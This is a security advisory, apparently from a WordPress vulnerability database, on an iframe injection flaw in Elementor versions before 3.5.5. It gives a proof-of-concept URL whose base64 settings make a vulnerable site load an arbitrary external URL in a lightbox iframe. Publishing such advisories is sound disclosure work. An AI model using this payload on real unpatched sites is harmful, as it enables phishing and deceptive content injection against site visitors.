WordPress Plugin Vulnerabilities

Elementor < 3.5.5 - Iframe Injection

Description

The plugin does not filter out user-controlled URLs from being loaded into the DOM. This could be used to inject rogue iframes that point to malicious URLs.

Proof of Concept

https://vulnerable-site.tld/#elementor-action:action=lightbox&settings=eyJ0eXBlIjoidmlkZW8iLCJ1cmwiOiJodHRwczovL2Rvd25sb2FkbW9yZXJhbS5jb20vIn0K

Affects Plugins

Fixed in 3.5.5

References

Classification

Type
CROSS FRAME SCRIPTING
OWASP top 10
CWE

Miscellaneous

Original Researcher
Miguel Santareno
Submitter
Miguel Santareno
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2023-07-19 (about 9 months ago)
Added
2023-07-19 (about 9 months ago)
Last Updated
2023-07-19 (about 9 months ago)

Other